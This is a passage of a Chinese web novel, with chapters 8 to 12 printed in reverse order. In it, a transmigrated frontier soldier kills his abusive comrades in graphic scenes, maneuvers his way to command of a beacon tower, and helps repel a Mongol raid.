张发一甩一头的乱发,仰起一张满是血污的脸,惊喜地向站在高处的叶十三喊道:“禀什长大人,此战共歼灭敌兵一百零三人。”
“什长大人!”
身上革甲几乎滚成了个土球的李富贵,连滚带爬地冲了过来喊道:“此战缴获战马六十七匹,零星跑散的战马,丁威带着赶来增援的田兵正在归拢中。”
“此战大捷?”
在烽燧兵们的叫喊声里,头发在风中凌乱的叶十三,喃喃自语的低头看向自己手中的佩刀。
刀柄快要断了的佩刀,已经成了一把弯弯的锯子。
刀身的一些缺口中,还残留着人骨的残渣。
叶十三的视线,缓缓从手中的废了的佩刀上转移到地上。
忽然一具尸体引起了他的格外注意。
几乎是被砍掉了半个脑袋的鞑子兵尸体,身上的战甲却是与其他尸体上的不同。
铜叶战甲?
没错!
眼前这具尸体,身上穿着的却是一套铜质材料精工打造的战甲。
金甲、银甲、铁甲、革甲里面,依据身份军职的高低,依次类推下去。
只有最低等的伙夫和临时征用的民夫,才穿最次的藤甲。
这些尸体中几乎全是少量的铁甲在身,其余全是生牛皮制作的革甲。
铜甲的出现,说明这个元蒙鞑子在军中的身份不低。
朝廷给戍边的北防军有令,凡杀死元蒙鞑子藤甲一名者,嘉奖田两亩,银十两,糙米米二十石,军职晋一级。
杀死铁甲一名者,嘉奖田十亩,银百两,糙米一百石,军职晋三级。
杀死铜甲一名者,嘉奖水田百亩,银千两,粳米五百石,军职晋五级……
军职晋升五级?
如此说,这一役,可晋升?
这里面的铁甲和革甲算起来,嘉奖的田亩、银子和粮食,扳着脚趾头怕都不够数。
六个人防守的烽火台,以他这个夺来的什长为首,半日时光就建下如此功勋?
元蒙鞑子兵死了这么多,那么逃回去的伤兵也为数不少?
这一战,简直赚得盆满钵肥。
没等叶十三定夺,早有丁威做出了战损和战绩的战报准备上报。
大夏二十六年冬月甲辰日巳时,黄羊岘烽火台烽燧兵什长高五,伍长何虎,步弓手陈四狗,赵大牛在巡防期间遇敌殉国。
余下烽燧兵六人,在顺序什长叶十三的带领下歼灭来犯敌兵一百零三人,缴获无伤残战马六十七匹,伤敌人数不详。
缴获铜甲一具,铁甲一十二具,革甲九十具……
望着墨迹未干的战报,叶十三咧嘴笑了。
他能想到的,丁威都替他想到了。
他未能想到的,丁威更是替他想到了。
如此一来,被他杀掉的那些鸟人,也背了一份军功去见阎王爷。
可是真金白银的赏赐,却是要活脱脱地落在他这个新什长的手中。
从村里赶来的田兵们,更是兴奋不已,三十多匹死伤的战马,足够他们在这个冬月里能吃肉。
在足够的利益面前,除了叶十三以外的五人,不约而同地众口一词,闭口不言关于什长高五们死掉的那些事情。
等着他们的,那可是一场泼天的富贵。
第12章 上位
“你……你把何伍长……如何了?”
回到烽火台的叶十三,与高五一打照面,高五就迫不及待地问了起来。
此时的张由甲,和张由甲换了哨的马成,更是一脸惊讶地望向叶十三。
“回什长大人话!”
拱手一礼后,叶十三说道:“违抗什长大人军令的罪卒何虎、陈四狗二人已经伏法。”
“伏法?”
高五面颊一阵急抽,惊道:“你把陈四狗也杀了?”
“什长大人明鉴!”
叶十三点点头,缓缓说道:“小的奉什长大人之命,去营房执行军法,不料陈四狗对什长大人无比诋毁,口口声声数落什长大人克扣军饷,且与张氏寡妇品行不端,对大人如此诋毁之人,为了什长大人清誉,小的也一并杀了。”
“你……”
高五一窒,一只手举在半空说不出话来。
此时他要是指责叶十三滥杀成性,无异于直接承认自己克扣军饷且又品行不端。
“杀得好!”
待喘过一口气来,高五无力地说道:“妄议上司,造谣生事之人,确实该杀!”
此言一出,马成心头掀起一阵骇天巨浪,一眨眼的功夫,这个平时怕得要命,怂得要死的奴籍兵卒,却一口气连杀两人。
而这一切,似乎还是得了什长高五的指令。
他死活都无法想象,就这样一个底层兵卒,不但当着高五的面杀了赵大牛,而且又去营房杀了伍长何虎和步弓手陈四狗二人。
如此滥杀,视身边的什长大人如同虚设。
抛开个人成见不说,步弓手赵大牛的战斗力,那可是丝毫不低于伍长何虎,但是黄羊岘烽火台的烽燧兵中,战斗力最强的两个,就这样死于叶十三之手。
游击出身的高五,虽然是个什长,但战斗力却是逊色赵大牛和何虎不少。
如此一来,叶十三就是黄羊岘烽火台屈指可数的第一高手。
一,二,三。
短短半日,十人编制的黄羊岘烽火台烽燧兵,顿时就减员三人。
也许是黄羊岘位置更加重要,这才给这一处的烽火台配置了多于其他烽火台两倍的人手。
其他烽火台,是伍长制,满编五人。
可眼下,什长制的黄羊岘烽火台,只剩七人。
如此一来,就会多出三份空饷。
如今事态,已经骑虎难下。
高五怎么也想不到,一直被大家视为奴仆,弱得就像一个蝼蚁的奴籍兵卒,竟然在半日时光就杀了三名同仁。
这个怂包货是真敢杀人啊!
眼下已经减员三成,烽火台的布防就得重新部署。
空缺了一个伍长职位,必须尽快补上。
叶十三已经在黄羊岘烽火台立威,也算是他有了服众的能力,不如顺手推舟卖个人情给这憨货。
不然,要是在这节骨眼上出个事,那就轮到他这个什长脑袋搬家了。
“元蒙鞑子来犯,火速点燧示警!”
忽然,外面传来一阵急吼。
在商议中的四人,纷纷爬到烽火台顶上。
只见原本在营房里轮休的丁威、张发和李富贵三人,手中拿着铁锹从岘口向烽火台方向狂奔而来。
叶十三知道,这三人那是去荒滩上掩埋何虎和陈四狗的尸体。
“什长大人,快点燧升烟!”
一路狂奔,一路吼叫的三人身后的远处,一片烟尘冲天而起。
漫天的烟尘中,隐约夹杂着战马的嘶鸣和马蹄密集的雷动声。
不好!
蛰伏了一段时间的元蒙鞑子铁骑,已经向大夏国土发起了入侵。
大地一阵雷动,烟尘滚滚而来。
“点燧升烟……”
后背霎时就被惊出了冷汗的高五,转头就向身边人大吼一声。
“我去放他们进来!”
叶十三望了一眼向烽火台狂奔而来的三人,转身就下了步梯去打开通道的木门。
“不用管他们,来不及了,赶快架柴堆狼粪。”
高五冲着叶十三,又是一声吼叫。
军情紧急,时间紧迫,人手缺乏,哪还腾得出闲人去开门?
“我不能看着他们死在外面!”
叶十三回了高五一句,然后下到底层打开了通道的木门。
已经狂奔到烽火台通道口的三人,当然也听到了高五和叶十三的对话。
“谢叶老弟放行之恩……”
跑得满头大汗,气得面色铁青的丁威,进到烽火台里面后,急忙拱手就像叶十三一礼。
“感谢叶老弟。”
身后跑的同样狼狈的张发和李富贵,也是照搬丁威的样子,急急向叶十三行礼致谢。
叶十三急忙摆手,沉声道:“赶快上去升烟传警。”
片刻间,四人涌上烽火台顶部。
此时,只见从黄羊岘的岘口方向,滚滚的烟尘已经遮住了整条山梁。
再不升烟,已经就晚了。
如果误了最佳的时间,等战马扬起的烟尘遮住烽火台周围二里地时,示警传讯的狼烟就不会被临近的烽火台发现。
“快快快……再慢就来不及了。”
惶恐不安的高五,指挥着之前仅有的二人堆积木柴。
远处的马蹄声已经越来越近,隐约可听见元蒙鞑子的喊杀声。
由于木柴太硬,一时半会燃不起足够的火焰,更不用说引燃狼粪的白烟了。
“丁威听着,点燃被褥。”
“张发听着,踩牛皮风袋鼓风。”
“李富贵听着,往点燃的被褥上添木材加狼粪。”
叶十三倒是不慌不乱,镇定得就像一个指挥官。
片刻间,在叶十三有条不紊的安排下,熊熊烈火上方,一股浓浓的白烟高高升起。
待漫天的烟尘涌到烽火台周围的时候,扶摇直上的狼烟已经升到半空。
“张发,李富贵,你二人继续填狼粪,其余人各守一面垛口。”
叶十三又是一声命令,就连张由甲和马成,也张弓搭箭各占一面垛口准备迎敌。
就在这时候,趁着慌乱之下,高五却悄悄向步梯退去。
这鸟人,想溜?
如果元蒙鞑子的铁骑真要是围住烽火台猛攻,这里的烽燧兵们可能会以身殉职。
要是此时溜出去,趁着烟尘的掩护,说不定还能逃得一线生机。
“你……”
丁威也发现了高五的企图,猛然转头,把手里已经拉得满弦的硬弓对着高五。
“你们听叶十三的指挥,我下去拿补燧的狼粪……”
高五眼里闪过一丝惊慌,撒个谎转身就往下溜。
再不走,就来不及了,让叶十三这个憨货带着他们顶着。
“老东西,方才不给开门,想让老子死在外面,这会你却想丢下大伙趁机溜走?”
识破了高五意图的丁威,怒火瞬间升腾,手中的长箭已经近距离射出。
“嗤!”
一声利器穿过人肉时闷响,箭头从高五胸前带出一簇血花,“叮”的一声就钉在通道口的门板上。
“哦……”
连一声惨叫都没来及喊出的高五,喉咙中响了一声,僵着脖子向后瞥了一眼,然后“扑通”一声就栽倒在通道口。
“身为什长,大敌来犯时居然临阵脱逃……”
丁威怒骂一句,然后目光投向叶十三,高声道:“临阵脱逃者,人人得以正法,眼下群龙无首不行,就请叶老弟接了这什长之位。”
说着,丁威双手抱弓,单膝下跪,向叶十三一礼。
张发和李富贵二人就更不用说了,本来他们就举荐叶十三接任何虎的伍长职,既然高五临阵脱逃都被诛了,那么这个什长职位,自然就成叶十三的了。
情形如此紧急之下,就是张由甲和马成,也万没想的高五在这个节骨眼上选择了逃跑?
愤慨之下,马成转过头来,冲着叶十三道:“叶什长大人,恕小的无法行礼。”
“叶什长大人,小的也是……”步弓手马车和张由甲,各占一面垛口,张弓搭箭如临大敌,无暇抽身向新上任的什长行礼。
“防务要紧,弟兄们各司其职,不可大意……”
叶十三自然进入了最高军事长官的角色,抽出佩刀威风凛凛地站在一面垛口前目视着岘口方向。
第11章 血洗营房
“快……拦住他……”
膝盖刚被擦了药膏的何虎,两手撑着炕面,惊恐万状地向炕脚退着。
这一声令下,刚才还愣在门口的两个兵卒,又举起了手中的斧子向叶十三逼了过来。
“放肆!”
叶十三暴喝一声,目光冷冷地看向二人,道:“本人奉什长大人之命,前来执行罪犯何虎的死刑,你们敢造反不成?”
执行死刑?
在场的人都知道方才何虎和陈四狗去干何事了。
但高五为此要杀何虎,这让他们万万没有料到。
为了一个瘸了一只脚的老妇和瞎了眼睛的女子,什长大人居然要杀一个伍长?
无非就是个奴籍的人而已,至于让什长大人如此盛怒?
不对!
绝非如此,难道是高五要借着这个机会,抓住何虎的这个把柄来除掉……
如此一想,二人手中的斧子又缓缓地垂了下来。
本来已经放下了药盒,把手按在佩刀柄上的丁威,也不由得后退了一步。
“快杀了他!”
只有躲到墙角的陈四狗,急得又大叫起来。
就凭你们这些鸟人?
叶十三的脸上,又浮起一丝轻蔑的笑意,重新把目光投向何虎道:“欺辱我的母亲和妹妹,该死!”
一个“死”字还没落地,叶十三手中的佩刀,已经从何虎的胸前穿过,后背穿出的刀尖上喷出的血箭,把一面墙霎时就染得血红一片。
“吱吱吱……”
叶十三就像拉锯子一样,缓缓从何虎的身上抽出佩刀。
“该你了!”
滴着人血的刀尖,又缓缓指向面色煞白的陈四狗,叶十三撇了撇嘴,口吻轻蔑地又道:“什长大人说了,他会向上面报战损的,到时候,你们的家属,还会领到一笔抚恤金。”
“呸!”
闻言之下,陈四狗好像是忘了眼前的杀身危机,吐了一口痰骂道:“还真让我猜中了,高五这狗杂碎,他能有这好心上报战损?什么狗屁抚恤金?还不够他拿去填张寡妇的裤裆。”
看来,高五和垦区村子里张寡妇的那些事,黄羊岘的烽燧兵们人人皆知。
克扣粮饷讨好张寡妇,为的就是换防后去村里发泄一番。
黄羊岘的烽燧兵们背后都说,张寡妇的那张“口”可真是填不满的无底洞。
为此,没有余粮,又无银子的烽燧兵们,苦役们放养的母羊雌牛,就成了他们眼中的西施。
只要有机会,他们总会弄来一头越过警戒线的牛羊来消遣……
“高五,老子就是变成鬼,也不放过你……”
骂着骂着,陈四狗的叫骂声戛然而止。
他的目光突然盯着叶十三手中滴着血的刀尖上,浑身不由得急抖起来。
“叶大哥……您……就饶了小的吧……这些……都是何虎那杂碎的……主意……”
“扑通”一声跪了下来的陈四狗,这才意识到他的一只脚,已经踏入了鬼门关。
“怎么,嘴不硬了?”
叶十三似笑非笑,半眯着眼睛看向陈四狗,道:“不是要去镇里报信吗?快去啊!”
说着,叶十三往一旁一闪,给陈四狗让开了道来。
“你……”
陈四狗一怔,面颊一抽,不可置信地望着叶十三又道:“当真放我走?”
“嗯!”
叶十三点点头,随即垂下握着刀的手来。
陈四狗见状,脸上闪过一丝惊诧,小心翼翼地从叶十三身边绕了过去,然后拔腿就向门外狂奔而去。
背着身子站着的叶十三,嘴角浮起一丝笑意,刚才垂下的那只手,握着刀向肩后随意一甩。
一道带着血珠的寒光,从叶十三肩后向屋门外面激射而出。
“啊……”
一声惨叫从营房院子里清晰地传了过来,隔着屋门看到,后背只露着一支刀柄的陈四狗,直挺挺地被叶十三扔出的佩刀钉在地上。
这一手,直接让惊魂未定的另外三人,齐刷刷就地向叶十三跪了。
“叶老弟,何虎和陈四狗死有余辜,他们罪有应得,那些事和我们三人无关。”
不失机灵的丁威,极力在第一时间为自己洗脱。
他怕杀心爆棚的叶十三,会一口气把他们三人也都给宰了。
杀红了眼的人,是没有理智的。
“叶大哥,都是他们的错,我张发从来没有掺和过……”
“我李富贵也是,从没对叶大哥起过歹心……”
除了丁威的一番表白,张发和李富贵二人,也开始极力为各自辩白。
看来,刀才是真理。
要讲公平,只有用刀说话。
叶十三笑了,笑得让在场的三人一阵毛骨悚然。
“你们都看见了?”
叶十三别有用心地瞥了三人一眼,又道:“死了两个猪狗不如的畜生,这该如何向上面交代?”
“这……”
没料到叶十三会有此一问?
丁威眼珠子一转,讪笑道:“回叶老弟话,我黄羊岘烽燧兵营房,由于伍长何虎和步弓手陈四狗不知何故互殴,最后导致二人相互被对方刺死……”
“对对对,就是这样,我亲眼目睹……”
“没错,这二人平时就不和,这次发粮饷,不知何故二人就打了起来……”
明白了丁威的意思,张发和李富贵二人,也抢着说个不停。
眼前三人一口咬定,陈四狗和何虎,二人是互殴而死。
奇怪!
不是准备要报战损吗?
这些人为何不说是何虎和陈四狗是为国捐躯?
如此一来,还会有一笔抚恤金发放到此,这些人宁可把此事说成互殴,也不愿配合高五的想法?
看来,饱受高五盘剥和克扣的烽燧兵们,心中对什长高五也是恨得咬牙切齿。
得民心者得天下,这句话看来不假。
这前前后后所发生的事,他们心里跟明镜似的。
就是什长高五,无非也是利用叶十三的强悍武力,并不是有多正直来给叶十三主持公道。
“叶大哥,这里该如何处理?”
老油条张发,瞥了一眼何虎和陈四狗的尸体,忐忑不安地问了叶十三一句。
望着眼前这个比自己大好几岁的老兵油子称他为“大哥”的时候,叶十三嘴角一扬,缓缓说道:“埋了,坑挖深一点,免得被狼刨出来再恶心人。”
“叶老弟,有句话不知当讲不当讲?”
丁威抬起头来,目光阴晴不定地望向叶十三。
“说!”
叶十三一怔,知道这丁威肚里还藏着主意。
果然,丁威的目光从另外二人的脸上一扫而过,然后继续说道:“既然何虎已经伏法,我等三人推举叶老弟当这个伍长。”
当伍长?
这一点,叶十三还真没想过。
他只想活下去,只想自己的母亲和妹妹不再受到欺辱,关于抢夺谁的位置?
他还真没想过。
见叶十三陷入了沉思,张发也说道:“黄羊岘烽火台,总共两班倒,除了什长大人带领一班,再就是伍长带领一班,既然伍长死了,叶大哥不如趁热打铁,把伍长这个位子给抢了。”
“抢什么抢?”
闷葫芦李富贵怼了张发一句,然后又道:“是我等三人,合力举荐叶大哥来当这个伍长,军中的位子,就应该由叶大哥这种心怀大义、又武艺超群的人担任。”
“行了!”
叶十三哑然失笑,摆摆手道:“什么伍长不伍长的都不要紧,我小诸位好几岁,不要再叫我‘大哥’让我折寿了,我先走一步,得回去向什长大人复命,这里就由你们看着清理就是。”
强忍着令人作呕的血腥味,第一次杀人的叶十三,撂下一句话就匆匆离开营房。
第10章 一个是杀,几个也是杀
“啊……”
赵大牛终于惨叫了起来。
黑塔一样偌大一个人,居然被叶十三用刀摁得丝毫动惮不得。
“饶命啊……”
随着血箭就像泉水一样狂喷出来,面如死灰的赵大牛终于开始向叶十三求饶。
“住手!”
从惊吓中回过神来的高五,颤声叫道:“你,这是在杀人!”
“杀了他难道不好吗?”
面无表情的叶十三,突然冲着高五笑道:“他死了,而且死有余辜,不正好省下一份军粮吗?”
“你……”
面无人色的张由甲,这才意识到,叶十三这是在报复,报复他曾经被赵大牛用拳头狂揍过的那事。
鸟人,你该给那个冤魂抵命。
叶十三心里如是想着,让赵大牛给被揍死的那个倒霉鬼抵命。
随着手上用力的加重,赵大牛手中的刀刃,已经完全陷入了自己的脖子不见。
殷红的人血,就像马尿一样狂喷个不停。
把地面跪出了两个深坑的赵大牛,此时面色越来越白。
“咕咕咕……”
一阵奇怪的声响从赵大牛的喉咙里发出。
紧接着,赵大牛的口中和鼻孔,已经有血流出。
看来,赵大牛的气管已经断了。
如此杀人,就是行伍半生的高五也没见过。
原本一刀能砍掉的脑袋,却被叶十三用这种虐心的方式割了下来。
这不光是要赵大牛的命,而是在警告他们几个。
“扑通!”
随着叶十三松开双手,脑袋和身子仅连着一块皮的赵大牛,就像半截树桩一样倒在地上。
“哥们,看到了吧!”
叶十三望着倒地气绝的赵大牛,在心里又对那个倒霉鬼说道:“弄死你的这孙子,老子已经杀了,以后该如何混,就由老子替你做主了。”
“死了?”
高五一脸惊恐,望着地上赵大牛的尸体,急道:“你把他杀了?”
面对高五多此一举的一问,叶十三嘴角扬起一丝冷笑,道:“一个烽火台,人员如此超编,再死几个人,也够用了。”
再死几个人?
这话,无疑是向他们示威,一个是杀,几个也是杀,他还想杀?
高五的心霎时就悬提了起来,
就是剩下的他们三个一起上,也未必就是叶十三的对手。
在一旁差点被吓晕了的张由甲,一想到曾经和赵大牛就叶十三死过去的时候,出的那些馊主意,双腿一软就在牛粪火堆旁跪了下来。
“叶老弟,不关我的事,都是他打的你。”
张由甲指着赵大牛尸体的那只手抖个不停,上下牙关也是一阵打颤道:“让报战损的,也是他,我什么都没干……”
“听到了吗?”
叶十三目光一冷,紧盯着高五的脸,淡淡又道:“那天在外面,这狗东西把我打死,而且还打算编个理由上报战损,还贪图我的那一份抚恤金,他,该死不?”
“该死,真该死!”
闻言之下,高五不禁打了个寒颤,连声应答着叶十三的问话。
“还有!”
叶十三把目光投向烽火台外面,冷声又道:“何虎身为伍长,居然企图奸污我的母亲和妹妹,如此兽行,该不该死?”
此言一出,犹如惊雷当头炸响。
都知道,叶十三的娘是个瘸子,妹妹也是个瞎子,如此恶行谁能容忍?
情急之下,来不及多想的高五,连声应道:“该死,畜生行径,实属该死!”
只见叶十三嘴角浮起一丝笑意,双手一拱向高五一礼,朗声道:“在下遵命,这就去法办了何虎这个畜生。”
说完,没等高五反应过来,叶十三已经打开烽火台通道的木门,大踏步就走了出去。
“什长大人,他这是去杀何伍长?”
猛然惊醒的张由甲,终于明白了刚才叶十三口中“遵命”二字的真正意思。
“啊……”
幡然一醒的高五,这才意识到,刚才的话赶话,让他落入了叶十三的圈套。
这就等于是他这个什长,下令去杀伍长何虎。
“这如何是好?”
急出了一头冷汗的高五,不由地把目光投向张由甲。
“什长大人莫要惊慌!”
强装镇定的张由甲,极力地压下自己心头的恐慌后说道:“何虎已经断了一条腿,是个废人而已,眼下正是防务的要紧之际,省下一份军粮,这弟兄们的肚子,就能饱上三分。”
明白了!
高五这下完全明白了张由甲的意思,杀了何虎那个废人,又会多出来一份军粮。
这老东西,也来了一手借刀杀人。
“好吧!”
高五无奈地点点头,闭起眼睛说道:“看来,得找机会上报战损了,减员没什么不好,起码弟兄们多了两份口粮。”
他知道,此时的叶十三想杀谁?
仅凭他们几个,那是阻止不了的。
与其给自己招惹上杀身之祸,还不如让叶十三痛痛快快地报仇泄了那腔私愤。
与此同时,营房的一间屋子里,不时地传出一声声惨叫和咒骂。
“他娘的,你轻点擦……”
“叶十三,你个狗东西,老子不会放过你的……”
被丁威擦药时疼得满头冷汗的何虎,正躺在炕上骂人。
“伍长大人,依小的看,还是上报百夫长大人那里,这高五包庇叶十三那混账,他们都是共犯……”
在一旁捂着两边肿脸的陈四狗,咬牙切齿的也凑上说一句,鼓动何虎把这事给捅上去。
要是上边处罚下来,叶十三肯定是会被砍头,他被叶十三打掉四颗后槽牙的仇也就报了。
受到牵连的高五,被撤了什长职务,而伍长何虎此时又是个废人,那么,自己就有机会爬上什长的位置。
最不行,什长之位由别人担任,而他,顺势又接任何虎的伍长位子。
在军中,残废是没有资格领兵的,哪怕是个伍长。
“伍长大人,就让小的替您跑一趟镇里?”
肿得就像猪头一样的陈四狗,一心想要让何虎采取行动,不失时机地又征求何虎的意见。
“砰!”
没等到何虎回答,在一声巨响之下,屋子的门板被人从外面一脚踹得粉碎。
“你……”
当陈四狗看到来人时,已经惊恐得说不出话来。
“去啊!还愣着干什么?”
立在门口的叶十三,似笑非笑地盯着陈四狗那张骤然变得煞白的一张肿脸,冷声又道:“去镇里向上面报信,老子送你一程多好!”
“你……别过来……”
就像看到了鬼一样的陈四狗,惊恐万状地向后退着。
“再敢……上前半步……我……真就去镇里……”
面对磕磕巴巴的陈四狗,叶十三把视线转移到炕上,缓缓向炕沿走了过来。
“你……你要……干什么……”
从炕上被惊得坐了起来的何虎,说话也和陈四狗一样磕巴起来,心有余悸地看着叶十三走到他的面前。
“回伍长大人话!”
叶十三走到炕沿前面停了下来,望着眼前已经肝胆俱裂的何虎,嘴角一扬,轻蔑地说道:“小的奉什长大人之命,将你就地正法。”
此言一出,躲在屋子一角的陈四狗大喊起来:“伍长大人,这家伙果然和高五勾结在一起,目的就是除掉我们这班人,企图私吞我们这班人的粮饷……”
在外面劈柴的另外两人,听到叫喊后提着斧子也赶了过来。
叶十三缓缓转过头去,斜瞥堵在门口的二人,淡淡说道:“你们二人,也敢违抗什长大人的军令?”
面面相觑的二人,一时居然不知道如何是好?
愣在原地的他们,一脸茫然地看着叶十三从腰间缓缓拔出那把破烂不堪的佩刀。
第9章 第一次杀人
“什长大人,此人迟早是个祸害!”
看到何虎五人回了营房,倍感失望的赵大牛,不怀好意地嘟囔了一句。
宁事息人的高五,哪能不懂赵大牛的那些鬼心思?
“闭嘴!”
高五眉头一皱,沉声斥道:“眼下非常时期,当应把心思放在哨位上。”
元蒙鞑子屡犯边境,驻守黄羊烽火台只有这两班人,眼下何虎断了一条腿,不能再起内讧削减人力。
“都给老子盯紧了,谁要是再生事端,一律军法论处!”
高五以防务为由,给自己一个台阶,也算是给叶十三一个安抚。
找机会弄死一个奴籍兵卒,原本不是多难的事,可眼下,高五并不打算这么干。
“你,瞭望东南面。”
高五一指叶十三,立即就安排了哨位。
然后,高五又把目光投向马成,道:“西北面就交给你了,盯仔细了。”
吩咐完烽火台观望哨的军务,高五一摆手,向张由甲和赵大牛又道:“两个时辰后,你俩换他二人下来。”
如此一来,叶十三和步弓手马成一组。
另外一组,当然就是张由甲和赵大牛了。
赵大牛按在腰间佩刀上的那只手,手心里已经被攥出了一把湿津津的汗水。
“哼!”
鼻子里冷哼一声后,这才悻悻的下了烽火台。
眼下,这场内斗表面上看似平静了下来,但叶十三的心里却依旧是沸腾不已。
根据残存的记忆,他记得曾经被分到黄羊岘这个烽火台以来,这帮人就没少欺负他。
分到他碗里的稀粥,不但沙子硌牙,而且清得能照出人影。
这九个烽燧兵里面,还有两个高高在上的什长和伍长,就是剩下的七个步弓手老兵,
那也是他这个新人头上的一层天。
不但吃不饱不说,而且还要替他们捡拾用来发布警报的狼粪。
这下好了,打了这些人,就等于是把梁子给结下了。
这些人绝对不可能有好果子给他吃,包括什长高五,表面上平息了事端的恶化,这足矣证明高五要比其他人还要阴险一些。
得防着这些鸟人。
在烽火台里面近身搏斗,这些鸟人们是吃亏不少。
但保不住这些步弓手会选择在外面开阔地上向他下手。
尤其是赵大牛背着的那张硬弓,射程足有百步。
要是这些鸟人暗中放箭,保不准他会一命呜呼。
贬为奴籍的人,虽然没有什么自由和尊严可言,但他不是之前的那个倒霉鬼叶十三。
古代的军营,等级更是森严,远谈不上什么平等和友爱。
武力就是王道,无论在敌人面前,还是在自己人面前,永远都是。
要想不被这些鸟人给虐死,那只有武力值说话,只有手中的刀主持公道。
也许是从叶十三的眼中,从来不失机灵的马成,好像从中读懂了什么?
“叶老弟!”
比叶十三年长不了几岁的马成,一脸讪笑地说道:“瞭望哨要比捡拾狼粪轻松多了,老弟再也不用东奔西跑那么辛苦了。”
屁话!
这话用得着你这鸟人在老子面前卖好?
面对马成突然向他献殷勤,叶十三心里暗暗一阵得意。
看来,人还是要凶狠一点的好,不然,在这些连牛羊都不放过的鸟人面前,还有他说话的份?
既然在前世没命发挥自己的才能,那么就在这魂穿过来的地方让自己混出个名堂来。
虽然说在前世练了一身的杀技,但真正意义上他还没杀过一个人。
眼下虽然表面上停止了内斗,但不能保证何虎养好伤以后对他实施暗算。
陈四狗,还有赵大牛,都是煽风点火的搅屎棍子,不可能由此就放过他。
不怕贼偷,就怕贼惦记。
与其让这些鸟人惦记着,不如先下手为强,把这些隐患给除了。
杀掉几个,剩下的就老实了。
何虎、陈四狗,还有赵大牛这三个鸟人,一个都留不得。
尤其是何虎这个畜生,居然对他的母亲和妹妹能做出那样的事来,该杀!
想到这里,叶十三眼里闪过一丝寒芒,把目光投向马成脸上。
“你,下去一趟,把他们都叫上来,我有话要说。”
叶十三心中已是杀机澎湃,目光冷得直让马成打哆嗦。
“瞭望哨不能一刻无人值守,依我看,还是等交接班的时候再说吧!”
马成面上一抽,直觉得叶十三的目光冰冷得有些可怕。
“那我自己去!”
叶十三并没有被马成的拒绝所动,脖子一扭就下了烽火台。
“你,居然敢擅自离岗?”
刚顺着台阶回到底层,围着牛粪火堆烤火的赵大牛就跳起来吼道:“别给脸不要脸,什长大人对你已经网开一面,你却毫不感恩,又一次违反军纪。”
“什长大人!”
赵大牛觉得机会来了,转头又向高五说道:“这小子无法无天,迟早会给咱黄羊岘这班人惹祸,留着他也是浪费军粮,干脆军法从事……”
对于叶十三的突然出现,高五有一种不祥的预感。
“你?”
高五没有理会赵大牛,而是把目光投向叶十三道:“还不到轮换时间,你为何擅离哨位?”
“我饿!”
叶十三眼中寒芒迸溅,冷声就是一句。
“你他娘的就是个饿死鬼投胎,宰了反而省出一份军粮来。”
赵大牛在高五这里讨了个没趣,直接迁怒到叶十三身上,“仓啷”一声,就从腰间拔出佩刀压在叶十三的脖子上。
“什长大人,就让小的宰了这怂货,先把他的那份军粮给弟兄们分了。”
赵大牛先发制人,先入为主地向高五抛过来一句。
就在赵大牛的目光,与高五的目光对视下等待暗示的时候,叶十三突然出手,一手握住赵大牛握刀的手腕一个反转,另一只手按在赵大牛的刀背上,把刀口对着赵大牛的脖子缓缓摁了下去。
随着叶十三的双手不断用力,黑塔一样站着的赵大牛,双腿打着颤不断地矮了下去。
在高五和张由甲惊恐的注视下,赵大牛的身子不断矮了下去,双膝最后在地上跪出了两个坑。
谁也没料到,叶十三会在眨眼间把按在自己脖子上的刀反转到赵大牛的脖子上。
再看刀锋,在叶十三的一只手不断用力下,徐徐地在赵大牛老粗的脖子上深陷进去。
“你,你要干什么?”
此时肝胆俱裂的赵大牛,不由得偏着脖子,惊恐万状地叫喊道:“别开玩笑,快,快撒手。”
“玩笑?”
叶十三嘴角一扬,轻蔑地说道:“和你开玩笑?你也太抬举自己了吧!”
说着话的同时,叶十三的一只手不断地按下刀身,赵大牛脖子上被刀锋压下的深缝里,缓缓地冒出一串醒目又刺眼的血珠子来。
“什长大人,快救我!”
情知不妙的赵大牛,已经尝到了死亡的威胁,那种利刃钻进肉里的疼痛感,这才让他意识到叶十三是对他下了杀手。
随着血珠的不断涌出,那把刀的刀身,已经有一半陷进了赵大牛的肉中。
赵大牛握着刀柄的那只胳膊,已经被弯成了曲尺形,被叶十三的一只手握得纹丝不动。
此时赵大牛的脖子处,血珠已经连成了血线,汩汩地往外冒着。
第8章 这货,不是善茬
这是自充军以来,叶十三第二次狼狈地逃离他的“家”。
一阵愤怒,一阵恐惧,又是一阵无助的叶十三,不知道他接下来会遭遇什么?
“大家都来评评理!”
一声歇斯底里的嚎叫,顿时把叶十三从不安中拉了回来。
两名烽燧兵抬着断了一只膝盖的何虎,被陈四狗带着在烽火台下吼叫着。
“今天什长大人不给我们做主,我们就抬着伍长大人去镇里找百夫长大人请愿……”
腮帮子肿得老高,斗鸡一样在烽火台下蹦跶个不停的陈四狗,铁了心的要逼高五处置叶十三。
叶十三眉头紧蹙,冷冷地看着陈四狗抓狂的样子。
烽火台里紧闭着的木门后面,
高五就像热锅上的蚂蚁,焦躁不安地来回踱着步子。
外面陈四狗们的举动,吸引得烽火台上的另外三人,一起爬在垛口上向下观望着。
“你,你还敢回来?”
发现叶十三就在离烽火台不远,陈四狗下意识地捂着腮帮子,一手指着叶十三大吼道:“擅离职守,殴打上司,当属反叛之罪,今天不把你拿下治罪,老子……”
后面的话还没说完,索性破罐子破摔的叶十三就像旋风一样冲了过来。
“啪!”
又是一声清脆的耳刮子响起,陈四狗另一侧的脸上,霎时就有一个巴掌印子以肉眼可见的速度肿了起来。
“扑通!”
来不及喊疼的陈四狗,这次没有像陀螺一样原地旋转,而是眼前一黑直接栽倒在地。
那口带着碎牙的污血,也来不及吐出,一股脑儿地就被昏过去的同时咽进了肚里。
“你……你……”
担架上被两名烽燧兵抬着的何虎,指着叶十三时嘴唇一阵哆嗦,两眼充满了恐惧说不出话来。
面对敌意,叶十三根本不屑一顾。
他轻蔑地斜瞥躺在担架上的何虎一眼,径直就走向烽火台的入口。
“什长大人,我回来了。”
叶十三站在木门前,面无表情地站着叫门。
其实早从木门的破缝中,高五已经窥见了外面发生的一切。
他再一次被震惊到了,这个奴籍兵卒,凶悍得不是一般。
若是他再次发怒,说不定会酿成更大的祸端。
他们这些人,也许根本就不是叶十三的对手。
如果让叶十三失去理智,一怒之下杀掉他们这些人,也不是没有可能的事。
思忖片刻,高五最终还是没有开门放叶十三进来。
一口气爬上烽火台顶部,稳了稳神的高五,极力拿出一股最高长官的威势向下面吼道:“受伤了就在营房歇着养伤,来岗哨搞什么名堂?”
“什长大人,你要为我做主啊!”
